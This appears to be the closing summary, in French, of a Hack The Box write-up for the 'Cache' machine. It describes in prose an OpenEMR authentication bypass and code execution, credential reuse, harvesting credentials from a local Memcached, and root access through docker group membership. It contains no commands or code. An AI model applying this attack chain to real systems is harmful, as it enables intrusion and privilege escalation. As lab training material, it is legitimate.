L’énumération du site cache.htb permet tout d’abord de découvrir hms.htb, qui héberge une installation d’OpenEMR. L’identification de sa version, puis l’exploitation d’un contournement d’authentification et d’une vulnérabilité d’exécution de code, permettent d’obtenir un premier shell sous le compte www-data.
La réutilisation des identifiants découverts pendant l’énumération web permet ensuite de passer au compte ash et de récupérer user.txt.
L’énumération locale révèle alors un service Memcached accessible uniquement depuis l’interface loopback. Son contenu fournit les identifiants du compte luffy, dont l’appartenance au groupe docker ouvre la voie à l’escalade de privilèges.
L’accès à Docker permet alors de lancer un conteneur en montant la racine du système de fichiers de l’hôte, puis d’utiliser chroot pour travailler directement dans cette arborescence avec les privilèges de root. Tu peux ainsi accéder à /root, récupérer root.txt et terminer la compromission de la machine.
Cache illustre particulièrement bien l’intérêt de ne pas limiter l’énumération aux services accessibles depuis l’extérieur. La découverte d’un hôte virtuel, la réutilisation d’identifiants, l’inspection des services locaux et l’analyse des groupes de l’utilisateur constituent ici les différentes étapes d’une même chaîne d’exploitation.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
